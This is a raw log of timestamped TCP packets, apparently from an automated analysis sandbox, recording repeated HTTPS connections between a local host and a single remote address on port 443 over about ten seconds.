Nov 28, 2024 13:10:47.072829962 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.072841883 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.072846889 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.083292007 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.083311081 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.083390951 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.084263086 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.084275961 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.204829931 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.206382036 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.206415892 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.206876993 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.206882954 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.658658028 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.661623955 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.661672115 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.661678076 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.661731005 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.661792040 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.661804914 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.661818027 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.661823034 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.666007996 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.666048050 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.666100025 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.667185068 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.667196035 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.524398088 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.525002956 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.525032997 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.525548935 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.525559902 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.525685072 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.525945902 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.525969982 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.526276112 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.526281118 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.600194931 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.600819111 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.600833893 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.601316929 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.601321936 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.930227041 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.930908918 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.930927038 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.931463003 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.931472063 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.968446016 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.969903946 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.971893072 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.971971035 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.972011089 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.972034931 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.972059011 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.972067118 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.973201990 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.973253965 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.973278046 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.973311901 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.973542929 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.973553896 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.973617077 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.973622084 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.976846933 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.976866961 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.976937056 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.977920055 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.977967024 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.978059053 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.978120089 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.978133917 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:48.978224039 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:48.978244066 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.053848982 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.057293892 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.061175108 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.061269045 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.061269045 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.061281919 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.061290026 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.065783978 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.065818071 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.065905094 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.066066027 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.066080093 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.551712036 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.551779985 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.551834106 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.552061081 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.552073002 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.552082062 CET	49938	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.552086115 CET	443	49938	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.555413961 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.555432081 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.555499077 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.555691004 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.555701971 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.640950918 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.647100925 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.647116899 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:49.647604942 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:49.647610903 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.106406927 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.106488943 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.106566906 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.142501116 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.142527103 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.142539024 CET	49939	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.142546892 CET	443	49939	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.271146059 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.271167994 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.271229982 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.271390915 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.271404028 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.874496937 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.875134945 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.875154972 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.875691891 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.875696898 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.938705921 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.939688921 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.939712048 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.940203905 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.940210104 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.944097042 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.947397947 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.947431087 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:50.947861910 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:50.947874069 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.319885015 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.323136091 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.323219061 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.323322058 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.323338985 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.323349953 CET	49944	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.323355913 CET	443	49944	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.326709986 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.326740980 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.326877117 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.327053070 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.327068090 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.392833948 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.395992041 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.396038055 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.396115065 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.396182060 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.396194935 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.396204948 CET	49942	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.396209955 CET	443	49942	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.398066998 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.399444103 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.399473906 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.399564028 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.399811029 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.399827003 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.401144981 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.403021097 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.403064966 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.403089046 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.403100967 CET	49943	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.403106928 CET	443	49943	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.405936003 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.405977964 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.406069040 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.406191111 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.406200886 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.406243086 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.406595945 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.406615019 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.407073975 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.407078981 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.862626076 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.865988016 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.867021084 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.867069006 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.867082119 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.867093086 CET	49948	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.867096901 CET	443	49948	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.870769978 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.870820045 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:51.871035099 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.871171951 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:51.871179104 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.056603909 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.057250023 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.057281971 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.057760954 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.057766914 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.500488997 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.503746033 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.503894091 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.504004955 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.504086971 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.504118919 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.504132986 CET	49949	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.504141092 CET	443	49949	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.507350922 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.507394075 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:52.507488966 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.507639885 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:52.507652998 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.124294996 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.124927044 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.124943018 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.125560999 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.125566959 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.174002886 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.174737930 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.174760103 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.175297976 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.175304890 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.189546108 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.189958096 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.189975023 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.190428972 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.190433979 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.561292887 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.564857006 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.566199064 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.568197012 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.568214893 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.568245888 CET	49954	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.568252087 CET	443	49954	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.571475983 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.571507931 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.571578026 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.571726084 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.571739912 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.630950928 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.631011963 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.631331921 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.632021904 CET	49953	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.632036924 CET	443	49953	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.635291100 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.635327101 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.635346889 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.635394096 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.635781050 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.635793924 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.638509035 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.638988972 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.639173031 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.639190912 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.639197111 CET	49955	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.639202118 CET	443	49955	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.641647100 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.641664982 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.641788006 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.641916037 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.641927004 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.717422962 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.718096972 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.718123913 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:53.718651056 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:53.718657017 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.170295000 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.173636913 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.173711061 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.173722982 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.173782110 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.173846960 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.173861027 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.173873901 CET	49956	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.173878908 CET	443	49956	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.177043915 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.177067995 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.177150965 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.177342892 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.177354097 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.355813026 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.356465101 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.356492996 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.356997967 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.357003927 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.809885979 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.813024044 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.813103914 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.813174009 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.813185930 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.813196898 CET	49957	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.813201904 CET	443	49957	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.817913055 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.817954063 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:54.818036079 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.818181992 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:54.818193913 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.291304111 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.348943949 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.389820099 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.389827967 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.401106119 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.401110888 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.420044899 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.431274891 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.431320906 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.431885958 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.431893110 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.490942001 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.523619890 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.523642063 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.524157047 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.524163961 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.726212978 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.729935884 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.729995012 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.735723019 CET	49958	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.735742092 CET	443	49958	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.744585037 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.744635105 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.744709969 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.745006084 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.745018959 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.893131018 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.893709898 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.893747091 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.894212008 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.894224882 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.958887100 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.961919069 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.961968899 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.961996078 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.962044001 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.962661028 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.962673903 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.962687016 CET	49960	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.962693930 CET	443	49960	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.966075897 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.966098070 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:55.966175079 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.966331005 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:55.966344118 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.332386971 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.335632086 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.335696936 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.335741043 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.335757971 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.335768938 CET	49961	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.335778952 CET	443	49961	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.339051008 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.339081049 CET	443	49966	13.107.246.63	192.168.2.4
